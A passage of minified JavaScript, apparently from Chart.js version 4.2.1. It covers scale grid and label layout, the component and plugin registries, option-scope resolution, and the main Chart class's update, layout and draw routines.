if("bottom"===o)m=p(this.top),S=t.top,D=p(t.bottom)-g,v=m+g,w=this.top+c;else if("left"===o)m=p(this.right),y=this.right-c,M=m-g,k=p(t.left)+g,P=t.right;else if("right"===o)m=p(this.left),k=t.left,P=p(t.right)-g,y=m+g,M=this.left+c;else if("x"===e){if("center"===o)m=p((t.top+t.bottom)/2+.5);else if(z(o)){const t=Object.keys(o)[0],e=o[t];m=p(this.chart.scales[t].getPixelForValue(e))}S=t.top,D=t.bottom,v=m+g,w=v+c}else if("y"===e){if("center"===o)m=p((t.left+t.right)/2);else if(z(o)){const t=Object.keys(o)[0],e=o[t];m=p(this.chart.scales[t].getPixelForValue(e))}y=m-g,M=y-c,k=t.left,P=t.right}const C=B(s.ticks.maxTicksLimit,h),O=Math.max(1,Math.ceil(h/C));for(b=0;b<h;b+=O){const t=this.getContext(b),e=n.setContext(t),s=a.setContext(t),o=e.lineWidth,h=e.color,c=s.dash||[],u=s.dashOffset,f=e.tickWidth,g=e.tickColor,p=e.tickBorderDash||[],m=e.tickBorderDashOffset;x=$s(this,b,r),void 0!==x&&(_=oe(i,x,o),l?y=M=k=P=_:v=w=S=D=_,d.push({tx1:y,ty1:v,tx2:M,ty2:w,x1:k,y1:S,x2:P,y2:D,width:o,color:h,borderDash:c,borderDashOffset:u,tickWidth:f,tickColor:g,tickBorderDash:p,tickBorderDashOffset:m}))}return this._ticksLength=h,this._borderValue=m,d}_computeLabelItems(t){const e=this.axis,i=this.options,{position:s,ticks:n}=i,o=this.isHorizontal(),a=this.ticks,{align:r,crossAlign:l,padding:h,mirror:c}=n,d=Ys(i.grid),u=d+h,f=c?-h:u,g=-mt(this.labelRotation),p=[];let m,b,x,_,y,v,M,w,k,S,P,D,C="middle";if("top"===s)v=this.bottom-f,M=this._getXAxisLabelAlignment();else if("bottom"===s)v=this.top+f,M=this._getXAxisLabelAlignment();else if("left"===s){const t=this._getYAxisLabelAlignment(d);M=t.textAlign,y=t.x}else if("right"===s){const t=this._getYAxisLabelAlignment(d);M=t.textAlign,y=t.x}else if("x"===e){if("center"===s)v=(t.top+t.bottom)/2+u;else if(z(s)){const t=Object.keys(s)[0],e=s[t];v=this.chart.scales[t].getPixelForValue(e)+u}M=this._getXAxisLabelAlignment()}else if("y"===e){if("center"===s)y=(t.left+t.right)/2-u;else if(z(s)){const t=Object.keys(s)[0],e=s[t];y=this.chart.scales[t].getPixelForValue(e)}M=this._getYAxisLabelAlignment(d).textAlign}"y"===e&&("start"===r?C="top":"end"===r&&(C="bottom"));const O=this._getLabelSizes();for(m=0,b=a.length;m<b;++m){x=a[m],_=x.label;const t=n.setContext(this.getContext(m));w=this.getPixelForTick(m)+n.labelOffset,k=this._resolveTickFontOptions(m),S=k.lineHeight,P=I(_)?_.length:1;const e=P/2,i=t.color,r=t.textStrokeColor,h=t.textStrokeWidth;let d,u=M;if(o?(y=w,"inner"===M&&(u=m===b-1?this.options.reverse?"left":"right":0===m?this.options.reverse?"right":"left":"center"),D="top"===s?"near"===l||0!==g?-P*S+S/2:"center"===l?-O.highest.height/2-e*S+S:-O.highest.height+S/2:"near"===l||0!==g?S/2:"center"===l?O.highest.height/2-e*S:O.highest.height-P*S,c&&(D*=-1),0===g||t.showLabelBackdrop||(y+=S/2*Math.sin(g))):(v=w,D=(1-P)*S/2),t.showLabelBackdrop){const e=Se(t.backdropPadding),i=O.heights[m],s=O.widths[m];let n=D-e.top,o=0-e.left;switch(C){case"middle":n-=i/2;break;case"bottom":n-=i}switch(M){case"center":o-=s/2;break;case"right":o-=s}d={left:o,top:n,width:s+e.width,height:i+e.height,color:t.backdropColor}}p.push({label:_,font:k,textOffset:D,options:{rotation:g,color:i,strokeColor:r,strokeWidth:h,textAlign:u,textBaseline:C,translation:[y,v],backdrop:d}})}return p}_getXAxisLabelAlignment(){const{position:t,ticks:e}=this.options;if(-mt(this.labelRotation))return"top"===t?"left":"right";let i="center";return"start"===e.align?i="left":"end"===e.align?i="right":"inner"===e.align&&(i="inner"),i}_getYAxisLabelAlignment(t){const{position:e,ticks:{crossAlign:i,mirror:s,padding:n}}=this.options,o=t+n,a=this._getLabelSizes().widest.width;let r,l;return"left"===e?s?(l=this.right+n,"near"===i?r="left":"center"===i?(r="center",l+=a/2):(r="right",l+=a)):(l=this.right-o,"near"===i?r="right":"center"===i?(r="center",l-=a/2):(r="left",l=this.left)):"right"===e?s?(l=this.left+n,"near"===i?r="right":"center"===i?(r="center",l-=a/2):(r="left",l-=a)):(l=this.left+o,"near"===i?r="left":"center"===i?(r="center",l+=a/2):(r="right",l=this.right)):r="right",{textAlign:r,x:l}}_computeLabelArea(){if(this.options.ticks.mirror)return;const t=this.chart,e=this.options.position;return"left"===e||"right"===e?{top:0,left:this.left,bottom:t.height,right:this.right}:"top"===e||"bottom"===e?{top:this.top,left:0,bottom:this.bottom,right:t.width}:void 0}drawBackground(){const{ctx:t,options:{backgroundColor:e},left:i,top:s,width:n,height:o}=this;e&&(t.save(),t.fillStyle=e,t.fillRect(i,s,n,o),t.restore())}getLineWidthForValue(t){const e=this.options.grid;if(!this._isVisible()||!e.display)return 0;const i=this.ticks.findIndex((e=>e.value===t));return i>=0?e.setContext(this.getContext(i)).lineWidth:0}drawGrid(t){const e=this.options.grid,i=this.ctx,s=this._gridLineItems||(this._gridLineItems=this._computeGridLineItems(t));let n,o;const a=(t,e,s)=>{s.width&&s.color&&(i.save(),i.lineWidth=s.width,i.strokeStyle=s.color,i.setLineDash(s.borderDash||[]),i.lineDashOffset=s.borderDashOffset,i.beginPath(),i.moveTo(t.x,t.y),i.lineTo(e.x,e.y),i.stroke(),i.restore())};if(e.display)for(n=0,o=s.length;n<o;++n){const t=s[n];e.drawOnChartArea&&a({x:t.x1,y:t.y1},{x:t.x2,y:t.y2},t),e.drawTicks&&a({x:t.tx1,y:t.ty1},{x:t.tx2,y:t.ty2},{color:t.tickColor,width:t.tickWidth,borderDash:t.tickBorderDash,borderDashOffset:t.tickBorderDashOffset})}}drawBorder(){const{chart:t,ctx:e,options:{border:i,grid:s}}=this,n=i.setContext(this.getContext()),o=i.display?n.width:0;if(!o)return;const a=s.setContext(this.getContext(0)).lineWidth,r=this._borderValue;let l,h,c,d;this.isHorizontal()?(l=oe(t,this.left,o)-o/2,h=oe(t,this.right,a)+a/2,c=d=r):(c=oe(t,this.top,o)-o/2,d=oe(t,this.bottom,a)+a/2,l=h=r),e.save(),e.lineWidth=n.width,e.strokeStyle=n.color,e.beginPath(),e.moveTo(l,c),e.lineTo(h,d),e.stroke(),e.restore()}drawLabels(t){if(!this.options.ticks.display)return;const e=this.ctx,i=this._computeLabelArea();i&&ce(e,i);const s=this.getLabelItems(t);for(const t of s){const i=t.options,s=t.font;ge(e,t.label,0,t.textOffset,s,i)}i&&de(e)}drawTitle(){const{ctx:t,options:{position:e,title:i,reverse:s}}=this;if(!i.display)return;const n=Pe(i.font),o=Se(i.padding),a=i.align;let r=n.lineHeight/2;"bottom"===e||"center"===e||z(e)?(r+=o.bottom,I(i.text)&&(r+=n.lineHeight*(i.text.length-1))):r+=o.top;const{titleX:l,titleY:h,maxWidth:c,rotation:d}=function(t,e,i,s){const{top:n,left:o,bottom:a,right:r,chart:l}=t,{chartArea:h,scales:c}=l;let d,u,f,g=0;const p=a-n,m=r-o;if(t.isHorizontal()){if(u=It(s,o,r),z(i)){const t=Object.keys(i)[0],s=i[t];f=c[t].getPixelForValue(s)+p-e}else f="center"===i?(h.bottom+h.top)/2+p-e:Ns(t,i,e);d=r-o}else{if(z(i)){const t=Object.keys(i)[0],s=i[t];u=c[t].getPixelForValue(s)-m+e}else u="center"===i?(h.left+h.right)/2-m+e:Ns(t,i,e);f=It(s,a,n),g="left"===i?-rt:rt}return{titleX:u,titleY:f,maxWidth:d,rotation:g}}(this,r,e,a);ge(t,i.text,0,0,n,{color:i.color,maxWidth:c,rotation:d,textAlign:Xs(a,e,s),textBaseline:"middle",translation:[l,h]})}draw(t){this._isVisible()&&(this.drawBackground(),this.drawGrid(t),this.drawBorder(),this.drawTitle(),this.drawLabels(t))}_layers(){const t=this.options,e=t.ticks&&t.ticks.z||0,i=B(t.grid&&t.grid.z,-1),s=B(t.border&&t.border.z,0);return this._isVisible()&&this.draw===qs.prototype.draw?[{z:i,draw:t=>{this.drawBackground(),this.drawGrid(t),this.drawTitle()}},{z:s,draw:()=>{this.drawBorder()}},{z:e,draw:t=>{this.drawLabels(t)}}]:[{z:e,draw:t=>{this.draw(t)}}]}getMatchingVisibleMetas(t){const e=this.chart.getSortedVisibleDatasetMetas(),i=this.axis+"AxisID",s=[];let n,o;for(n=0,o=e.length;n<o;++n){const o=e[n];o[i]!==this.id||t&&o.type!==t||s.push(o)}return s}_resolveTickFontOptions(t){return Pe(this.options.ticks.setContext(this.getContext(t)).font)}_maxDigits(){const t=this._resolveTickFontOptions(0).lineHeight;return(this.isHorizontal()?this.width:this.height)/t}}class Ks{constructor(t,e,i){this.type=t,this.scope=e,this.override=i,this.items=Object.create(null)}isForType(t){return Object.prototype.isPrototypeOf.call(this.type.prototype,t.prototype)}register(t){const e=Object.getPrototypeOf(t);let i;(function(t){return"id"in t&&"defaults"in t})(e)&&(i=this.register(e));const s=this.items,n=t.id,o=this.scope+"."+n;if(!n)throw new Error("class does not have id: "+t);return n in s||(s[n]=t,function(t,e,i){const s=X(Object.create(null),[i?ie.get(i):{},ie.get(e),t.defaults]);ie.set(e,s),t.defaultRoutes&&function(t,e){Object.keys(e).forEach((i=>{const s=i.split("."),n=s.pop(),o=[t].concat(s).join("."),a=e[i].split("."),r=a.pop(),l=a.join(".");ie.route(o,n,l,r)}))}(e,t.defaultRoutes),t.descriptors&&ie.describe(e,t.descriptors)}(t,o,i),this.override&&ie.override(t.id,t.overrides)),o}get(t){return this.items[t]}unregister(t){const e=this.items,i=t.id,s=this.scope;i in e&&delete e[i],s&&i in ie[s]&&(delete ie[s][i],this.override&&delete Zt[i])}}class Gs{constructor(){this.controllers=new Ks(zi,"datasets",!0),this.elements=new Ks(Bs,"elements"),this.plugins=new Ks(Object,"plugins"),this.scales=new Ks(qs,"scales"),this._typedRegistries=[this.controllers,this.scales,this.elements]}add(...t){this._each("register",t)}remove(...t){this._each("unregister",t)}addControllers(...t){this._each("register",t,this.controllers)}addElements(...t){this._each("register",t,this.elements)}addPlugins(...t){this._each("register",t,this.plugins)}addScales(...t){this._each("register",t,this.scales)}getController(t){return this._get(t,this.controllers,"controller")}getElement(t){return this._get(t,this.elements,"element")}getPlugin(t){return this._get(t,this.plugins,"plugin")}getScale(t){return this._get(t,this.scales,"scale")}removeControllers(...t){this._each("unregister",t,this.controllers)}removeElements(...t){this._each("unregister",t,this.elements)}removePlugins(...t){this._each("unregister",t,this.plugins)}removeScales(...t){this._each("unregister",t,this.scales)}_each(t,e,i){[...e].forEach((e=>{const s=i||this._getRegistryForType(e);i||s.isForType(e)||s===this.plugins&&e.id?this._exec(t,s,e):H(e,(e=>{const s=i||this._getRegistryForType(e);this._exec(t,s,e)}))}))}_exec(t,e,i){const s=J(t);N(i["before"+s],[],i),e[t](i),N(i["after"+s],[],i)}_getRegistryForType(t){for(let e=0;e<this._typedRegistries.length;e++){const i=this._typedRegistries[e];if(i.isForType(t))return i}return this.plugins}_get(t,e,i){const s=e.get(t);if(void 0===s)throw new Error('"'+t+'" is not a registered '+i+".");return s}}var Zs=new Gs;class Js{constructor(){this._init=[]}notify(t,e,i,s){"beforeInit"===e&&(this._init=this._createDescriptors(t,!0),this._notify(this._init,t,"install"));const n=s?this._descriptors(t).filter(s):this._descriptors(t),o=this._notify(n,t,e,i);return"afterDestroy"===e&&(this._notify(n,t,"stop"),this._notify(this._init,t,"uninstall")),o}_notify(t,e,i,s){s=s||{};for(const n of t){const t=n.plugin;if(!1===N(t[i],[e,s,n.options],t)&&s.cancelable)return!1}return!0}invalidate(){R(this._cache)||(this._oldCache=this._cache,this._cache=void 0)}_descriptors(t){if(this._cache)return this._cache;const e=this._cache=this._createDescriptors(t);return this._notifyStateChanges(t),e}_createDescriptors(t,e){const i=t&&t.config,s=B(i.options&&i.options.plugins,{}),n=function(t){const e={},i=[],s=Object.keys(Zs.plugins.items);for(let t=0;t<s.length;t++)i.push(Zs.getPlugin(s[t]));const n=t.plugins||[];for(let t=0;t<n.length;t++){const s=n[t];-1===i.indexOf(s)&&(i.push(s),e[s.id]=!0)}return{plugins:i,localIds:e}}(i);return!1!==s||e?function(t,{plugins:e,localIds:i},s,n){const o=[],a=t.getContext();for(const r of e){const e=r.id,l=Qs(s[e],n);null!==l&&o.push({plugin:r,options:tn(t.config,{plugin:r,local:i[e]},l,a)})}return o}(t,n,s,e):[]}_notifyStateChanges(t){const e=this._oldCache||[],i=this._cache,s=(t,e)=>t.filter((t=>!e.some((e=>t.plugin.id===e.plugin.id))));this._notify(s(e,i),t,"stop"),this._notify(s(i,e),t,"start")}}function Qs(t,e){return e||!1!==t?!0===t?{}:t:null}function tn(t,{plugin:e,local:i},s,n){const o=t.pluginScopeKeys(e),a=t.getOptionScopes(s,o);return i&&e.defaults&&a.push(e.defaults),t.createResolver(a,n,[""],{scriptable:!1,indexable:!1,allKeys:!0})}function en(t,e){const i=ie.datasets[t]||{};return((e.datasets||{})[t]||{}).indexAxis||e.indexAxis||i.indexAxis||"x"}function sn(t,e){if("x"===t||"y"===t||"r"===t)return t;var i;if(t=e.axis||("top"===(i=e.position)||"bottom"===i?"x":"left"===i||"right"===i?"y":void 0)||t.length>1&&sn(t[0].toLowerCase(),e))return t;throw new Error(`Cannot determine type of '${name}' axis. Please provide 'axis' or 'position' option.`)}function nn(t){const e=t.options||(t.options={});e.plugins=B(e.plugins,{}),e.scales=function(t,e){const i=Zt[t.type]||{scales:{}},s=e.scales||{},n=en(t.type,e),o=Object.create(null);return Object.keys(s).forEach((t=>{const e=s[t];if(!z(e))return console.error(`Invalid scale configuration for scale: ${t}`);if(e._proxy)return console.warn(`Ignoring resolver passed as options for scale: ${t}`);const a=sn(t,e),r=function(t,e){return t===e?"_index_":"_value_"}(a,n),l=i.scales||{};o[t]=q(Object.create(null),[{axis:a},e,l[a],l[r]])})),t.data.datasets.forEach((i=>{const n=i.type||t.type,a=i.indexAxis||en(n,e),r=(Zt[n]||{}).scales||{};Object.keys(r).forEach((t=>{const e=function(t,e){let i=t;return"_index_"===t?i=e:"_value_"===t&&(i="x"===e?"y":"x"),i}(t,a),n=i[e+"AxisID"]||e;o[n]=o[n]||Object.create(null),q(o[n],[{axis:e},s[n],r[t]])}))})),Object.keys(o).forEach((t=>{const e=o[t];q(e,[ie.scales[e.type],ie.scale])})),o}(t,e)}function on(t){return(t=t||{}).datasets=t.datasets||[],t.labels=t.labels||[],t}const an=new Map,rn=new Set;function ln(t,e){let i=an.get(t);return i||(i=e(),an.set(t,i),rn.add(i)),i}const hn=(t,e,i)=>{const s=Z(e,i);void 0!==s&&t.add(s)};class cn{constructor(t){this._config=function(t){return(t=t||{}).data=on(t.data),nn(t),t}(t),this._scopeCache=new Map,this._resolverCache=new Map}get platform(){return this._config.platform}get type(){return this._config.type}set type(t){this._config.type=t}get data(){return this._config.data}set data(t){this._config.data=on(t)}get options(){return this._config.options}set options(t){this._config.options=t}get plugins(){return this._config.plugins}update(){const t=this._config;this.clearCache(),nn(t)}clearCache(){this._scopeCache.clear(),this._resolverCache.clear()}datasetScopeKeys(t){return ln(t,(()=>[[`datasets.${t}`,""]]))}datasetAnimationScopeKeys(t,e){return ln(`${t}.transition.${e}`,(()=>[[`datasets.${t}.transitions.${e}`,`transitions.${e}`],[`datasets.${t}`,""]]))}datasetElementScopeKeys(t,e){return ln(`${t}-${e}`,(()=>[[`datasets.${t}.elements.${e}`,`datasets.${t}`,`elements.${e}`,""]]))}pluginScopeKeys(t){const e=t.id;return ln(`${this.type}-plugin-${e}`,(()=>[[`plugins.${e}`,...t.additionalOptionScopes||[]]]))}_cachedScopes(t,e){const i=this._scopeCache;let s=i.get(t);return s&&!e||(s=new Map,i.set(t,s)),s}getOptionScopes(t,e,i){const{options:s,type:n}=this,o=this._cachedScopes(t,i),a=o.get(e);if(a)return a;const r=new Set;e.forEach((e=>{t&&(r.add(t),e.forEach((e=>hn(r,t,e)))),e.forEach((t=>hn(r,s,t))),e.forEach((t=>hn(r,Zt[n]||{},t))),e.forEach((t=>hn(r,ie,t))),e.forEach((t=>hn(r,Jt,t)))}));const l=Array.from(r);return 0===l.length&&l.push(Object.create(null)),rn.has(e)&&o.set(e,l),l}chartOptionScopes(){const{options:t,type:e}=this;return[t,Zt[e]||{},ie.datasets[e]||{},{type:e},ie,Jt]}resolveNamedOptions(t,e,i,s=[""]){const n={$shared:!0},{resolver:o,subPrefixes:a}=dn(this._resolverCache,t,s);let r=o;(function(t,e){const{isScriptable:i,isIndexable:s}=Te(t);for(const n of e){const e=i(n),o=s(n),a=(o||e)&&t[n];if(e&&(tt(a)||un(a))||o&&I(a))return!0}return!1})(o,e)&&(n.$shared=!1,r=Ae(o,i=tt(i)?i():i,this.createResolver(t,i,a)));for(const t of e)n[t]=r[t];return n}createResolver(t,e,i=[""],s){const{resolver:n}=dn(this._resolverCache,t,i);return z(e)?Ae(n,e,void 0,s):n}}function dn(t,e,i){let s=t.get(e);s||(s=new Map,t.set(e,s));const n=i.join();let o=s.get(n);return o||(o={resolver:Oe(e,i),subPrefixes:i.filter((t=>!t.toLowerCase().includes("hover")))},s.set(n,o)),o}const un=t=>z(t)&&Object.getOwnPropertyNames(t).reduce(((e,i)=>e||tt(t[i])),!1),fn=["top","bottom","left","right","chartArea"];function gn(t,e){return"top"===t||"bottom"===t||-1===fn.indexOf(t)&&"x"===e}function pn(t,e){return function(i,s){return i[t]===s[t]?i[e]-s[e]:i[t]-s[t]}}function mn(t){const e=t.chart,i=e.options.animation;e.notifyPlugins("afterRender"),N(i&&i.onComplete,[t],e)}function bn(t){const e=t.chart,i=e.options.animation;N(i&&i.onProgress,[t],e)}function xn(t){return Ke()&&"string"==typeof t?t=document.getElementById(t):t&&t.length&&(t=t[0]),t&&t.canvas&&(t=t.canvas),t}const yn={},vn=t=>{const e=xn(t);return Object.values(yn).filter((t=>t.canvas===e)).pop()};function Mn(t,e,i){const s=Object.keys(t);for(const n of s){const s=+n;if(s>=e){const o=t[n];delete t[n],(i>0||s>e)&&(t[s+i]=o)}}}class wn{static defaults=ie;static instances=yn;static overrides=Zt;static registry=Zs;static version="4.2.1";static getChart=vn;static register(...t){Zs.add(...t),kn()}static unregister(...t){Zs.remove(...t),kn()}constructor(t,e){const i=this.config=new cn(e),s=xn(t),n=vn(s);if(n)throw new Error("Canvas is already in use. Chart with ID '"+n.id+"' must be destroyed before the canvas with ID '"+n.canvas.id+"' can be reused.");const o=i.createResolver(i.chartOptionScopes(),this.getContext());this.platform=new(i.platform||Vs(s)),this.platform.updateConfig(i);const a=this.platform.acquireContext(s,o.aspectRatio),r=a&&a.canvas,l=r&&r.height,h=r&&r.width;this.id=E(),this.ctx=a,this.canvas=r,this.width=h,this.height=l,this._options=o,this._aspectRatio=this.aspectRatio,this._layers=[],this._metasets=[],this._stacks=void 0,this.boxes=[],this.currentDevicePixelRatio=void 0,this.chartArea=void 0,this._active=[],this._lastEvent=void 0,this._listeners={},this._responsiveListeners=void 0,this._sortedMetasets=[],this.scales={},this._plugins=new Js,this.$proxies={},this._hiddenIndices={},this.attached=!1,this._animationsDisabled=void 0,this.$context=void 0,this._doResize=function(t,e){let i;return function(...s){return e?(clearTimeout(i),i=setTimeout(t,e,s)):t.apply(this,s),e}}((t=>this.update(t)),o.resizeDelay||0),this._dataChanges=[],yn[this.id]=this,a&&r?(yi.listen(this,"complete",mn),yi.listen(this,"progress",bn),this._initialize(),this.attached&&this.update()):console.error("Failed to create chart: can't acquire context from the given item")}get aspectRatio(){const{options:{aspectRatio:t,maintainAspectRatio:e},width:i,height:s,_aspectRatio:n}=this;return R(t)?e&&n?n:s?i/s:null:t}get data(){return this.config.data}set data(t){this.config.data=t}get options(){return this._options}set options(t){this.config.options=t}get registry(){return Zs}_initialize(){return this.notifyPlugins("beforeInit"),this.options.responsive?this.resize():ni(this,this.options.devicePixelRatio),this.bindEvents(),this.notifyPlugins("afterInit"),this}clear(){return ae(this.canvas,this.ctx),this}stop(){return yi.stop(this),this}resize(t,e){yi.running(this)?this._resizeBeforeDraw={width:t,height:e}:this._resize(t,e)}_resize(t,e){const i=this.options,s=this.canvas,n=i.maintainAspectRatio&&this.aspectRatio,o=this.platform.getMaximumSize(s,t,e,n),a=i.devicePixelRatio||this.platform.getDevicePixelRatio(),r=this.width?"resize":"attach";this.width=o.width,this.height=o.height,this._aspectRatio=this.aspectRatio,ni(this,a,!0)&&(this.notifyPlugins("resize",{size:o}),N(i.onResize,[this,o],this),this.attached&&this._doResize(r)&&this.render())}ensureScalesHaveIDs(){H(this.options.scales||{},((t,e)=>{t.id=e}))}buildOrUpdateScales(){const t=this.options,e=t.scales,i=this.scales,s=Object.keys(i).reduce(((t,e)=>(t[e]=!1,t)),{});let n=[];e&&(n=n.concat(Object.keys(e).map((t=>{const i=e[t],s=sn(t,i),n="r"===s,o="x"===s;return{options:i,dposition:n?"chartArea":o?"bottom":"left",dtype:n?"radialLinear":o?"category":"linear"}})))),H(n,(e=>{const n=e.options,o=n.id,a=sn(o,n),r=B(n.type,e.dtype);void 0!==n.position&&gn(n.position,a)===gn(e.dposition)||(n.position=e.dposition),s[o]=!0;let l=null;o in i&&i[o].type===r?l=i[o]:(l=new(Zs.getScale(r))({id:o,type:r,ctx:this.ctx,chart:this}),i[l.id]=l),l.init(n,t)})),H(s,((t,e)=>{t||delete i[e]})),H(i,(t=>{ys.configure(this,t,t.options),ys.addBox(this,t)}))}_updateMetasets(){const t=this._metasets,e=this.data.datasets.length,i=t.length;if(t.sort(((t,e)=>t.index-e.index)),i>e){for(let t=e;t<i;++t)this._destroyDatasetMeta(t);t.splice(e,i-e)}this._sortedMetasets=t.slice(0).sort(pn("order","index"))}_removeUnreferencedMetasets(){const{_metasets:t,data:{datasets:e}}=this;t.length>e.length&&delete this._stacks,t.forEach(((t,i)=>{0===e.filter((e=>e===t._dataset)).length&&this._destroyDatasetMeta(i)}))}buildOrUpdateControllers(){const t=[],e=this.data.datasets;let i,s;for(this._removeUnreferencedMetasets(),i=0,s=e.length;i<s;i++){const s=e[i];let n=this.getDatasetMeta(i);const o=s.type||this.config.type;if(n.type&&n.type!==o&&(this._destroyDatasetMeta(i),n=this.getDatasetMeta(i)),n.type=o,n.indexAxis=s.indexAxis||en(o,this.options),n.order=s.order||0,n.index=i,n.label=""+s.label,n.visible=this.isDatasetVisible(i),n.controller)n.controller.updateIndex(i),n.controller.linkScales();else{const e=Zs.getController(o),{datasetElementType:s,dataElementType:a}=ie.datasets[o];Object.assign(e,{dataElementType:Zs.getElement(a),datasetElementType:s&&Zs.getElement(s)}),n.controller=new e(this,i),t.push(n.controller)}}return this._updateMetasets(),t}_resetElements(){H(this.data.datasets,((t,e)=>{this.getDatasetMeta(e).controller.reset()}),this)}reset(){this._resetElements(),this.notifyPlugins("reset")}update(t){const e=this.config;e.update();const i=this._options=e.createResolver(e.chartOptionScopes(),this.getContext()),s=this._animationsDisabled=!i.animation;if(this._updateScales(),this._checkEventBindings(),this._updateHiddenIndices(),this._plugins.invalidate(),!1===this.notifyPlugins("beforeUpdate",{mode:t,cancelable:!0}))return;const n=this.buildOrUpdateControllers();this.notifyPlugins("beforeElementsUpdate");let o=0;for(let t=0,e=this.data.datasets.length;t<e;t++){const{controller:e}=this.getDatasetMeta(t),i=!s&&-1===n.indexOf(e);e.buildOrUpdateElements(i),o=Math.max(+e.getMaxOverflow(),o)}o=this._minPadding=i.layout.autoPadding?o:0,this._updateLayout(o),s||H(n,(t=>{t.reset()})),this._updateDatasets(t),this.notifyPlugins("afterUpdate",{mode:t}),this._layers.sort(pn("z","_idx"));const{_active:a,_lastEvent:r}=this;r?this._eventHandler(r,!0):a.length&&this._updateHoverStyles(a,a,!0),this.render()}_updateScales(){H(this.scales,(t=>{ys.removeBox(this,t)})),this.ensureScalesHaveIDs(),this.buildOrUpdateScales()}_checkEventBindings(){const t=this.options,e=new Set(Object.keys(this._listeners)),i=new Set(t.events);et(e,i)&&!!this._responsiveListeners===t.responsive||(this.unbindEvents(),this.bindEvents())}_updateHiddenIndices(){const{_hiddenIndices:t}=this,e=this._getUniformDataChanges()||[];for(const{method:i,start:s,count:n}of e)Mn(t,s,"_removeElements"===i?-n:n)}_getUniformDataChanges(){const t=this._dataChanges;if(!t||!t.length)return;this._dataChanges=[];const e=this.data.datasets.length,i=e=>new Set(t.filter((t=>t[0]===e)).map(((t,e)=>e+","+t.splice(1).join(",")))),s=i(0);for(let t=1;t<e;t++)if(!et(s,i(t)))return;return Array.from(s).map((t=>t.split(","))).map((t=>({method:t[1],start:+t[2],count:+t[3]})))}_updateLayout(t){if(!1===this.notifyPlugins("beforeLayout",{cancelable:!0}))return;ys.update(this,this.width,this.height,t);const e=this.chartArea,i=e.width<=0||e.height<=0;this._layers=[],H(this.boxes,(t=>{i&&"chartArea"===t.position||(t.configure&&t.configure(),this._layers.push(...t._layers()))}),this),this._layers.forEach(((t,e)=>{t._idx=e})),this.notifyPlugins("afterLayout")}_updateDatasets(t){if(!1!==this.notifyPlugins("beforeDatasetsUpdate",{mode:t,cancelable:!0})){for(let t=0,e=this.data.datasets.length;t<e;++t)this.getDatasetMeta(t).controller.configure();for(let e=0,i=this.data.datasets.length;e<i;++e)this._updateDataset(e,tt(t)?t({datasetIndex:e}):t);this.notifyPlugins("afterDatasetsUpdate",{mode:t})}}_updateDataset(t,e){const i=this.getDatasetMeta(t),s={meta:i,index:t,mode:e,cancelable:!0};!1!==this.notifyPlugins("beforeDatasetUpdate",s)&&(i.controller._update(e),s.cancelable=!1,this.notifyPlugins("afterDatasetUpdate",s))}render(){!1!==this.notifyPlugins("beforeRender",{cancelable:!0})&&(yi.has(this)?this.attached&&!yi.running(this)&&yi.start(this):(this.draw(),mn({chart:this})))}draw(){let t;if(this._resizeBeforeDraw){const{width:t,height:e}=this._resizeBeforeDraw;this._resize(t,e),this._resizeBeforeDraw=null}if(this.clear(),this.width<=0||this.height<=0)return;if(!1===this.notifyPlugins("beforeDraw",{cancelable:!0}))return;const e=this._layers;for(t=0;t<e.length&&e[t].z<=0;++t)e[t].draw(this.chartArea);for(this._drawDatasets();t<e.length;++t)e[t].draw(this.chartArea);this.notifyPlugins("afterDraw")}_getSortedDatasetMetas(t){const e=this._sortedMetasets,i=[];let s,n;for(s=0,n=e.length;s<n;++s){const n=e[s];t&&!n.visible||i.push(n)}return i}getSortedVisibleDatasetMetas(){return this._getSortedDatasetMetas(!0)}_drawDatasets(){if(!1===this.notifyPlugins("beforeDatasetsDraw",{cancelable:!0}))return;const t=this.getSortedVisibleDatasetMetas();for(let e=t.length-1;e>=0;--e)this._drawDataset(t[e]);this.notifyPlugins("afterDatasetsDraw")}_drawDataset(t){const e=this.ctx,i=t._clip,s=!i.disabled,n=function(t){const{xScale:e,yScale:i}=t;if(e&&i)return{left:e.left,right:e.right,top:i.top,bottom:i.bottom}}(t)||this.chartArea,o={meta:t,index:t.index,cancelable:!0};!1!==this.notifyPlugins("beforeDatasetDraw",o)&&(s&&ce(e,{left:!1===i.left?0:n.left-i.left,right:!1===i.right?this.width:n.right+i.right,top:!1===i.top?0:n.top-i.top,bottom:!1===i.bottom?this.height:n.bottom+i.bottom}),t.controller.draw(),s&&de(e),o.cancelable=!1,this.notifyPlugins("afterDatasetDraw",o))}isPointInArea(t){return he(t,this.chartArea,this._minPadding)}getElementsAtEventForMode(t,e,i,s){const n=ls.modes[e];return"function"==typeof n?n(this,t,i,s):[]}getDatasetMeta(t){const e=this.data.datasets[t],i=this._metasets;let s=i.filter((t=>t&&t._dataset===e)).pop();return s||(s={type:null,data:[],dataset:null,controller:null,hidden:null,xAxisID:null,yAxisID:null,order:e&&e.order||0,index:t,_dataset:e,_parsed:[],_sorted:!1},i.push(s)),s}getContext(){return this.$context||(this.$context=Ce(null,{chart:this,type:"chart"}))}getVisibleDatasetCount(){return this.getSortedVisibleDatasetMetas().length}isDatasetVisible(t){const e=this.data.datasets[t];if(!e)return!1;const i=this.getDatasetMeta(t);return"boolean"==typeof i.hidden?!i.hidden:!e.hidden}setDatasetVisibility(t,e){this.getDatasetMeta(t).hidden=!e}toggleDataVisibility(t){this._hiddenIndices[t]=!this._hiddenIndices[t]}getDataVisibility(t){return!this._hiddenIndices[t]}_updateVisibility(t,e,i){const s=i?"show":"hide",n=this.getDatasetMeta(t),o=n.controller._resolveAnimations(void 0,s);Q(e)?(n.data[e].hidden=!i,this.update()):(this.setDatasetVisibility(t,i),o.update(n,{visible:i}),this.update((e=>e.datasetIndex===t?s:void 0)))}hide(t,e){this._updateVisibility(t,e,!1)}show(t,e){this._updateVisibility(t,e,!0)}_destroyDatasetMeta(t){const e=this._metasets[t];e&&e.controller&&e.controller._destroy(),delete this._metasets[t]}_stop(){let t,e;for(this.stop(),yi.remove(this),t=0,e=this.data.datasets.length;t<e;++t)this._destroyDatasetMeta(t)}destroy(){this.notifyPlugins("beforeDestroy");const{canvas:t,ctx:e}=this;this._stop(),this.config.clearCache(),t&&(this.unbindEvents(),ae(t,e),this.platform.releaseContext(e),this.canvas=null,this.ctx=null),delete yn[this.id],this.notifyPlugins("afterDestroy")}toBase64Image(...t){return this.canvas.toDataURL(...t)}bindEvents(){this.bindUserEvents(),this.options.responsive?this.bindResponsiveEvents():this.attached=!0}bindUserEvents(){const 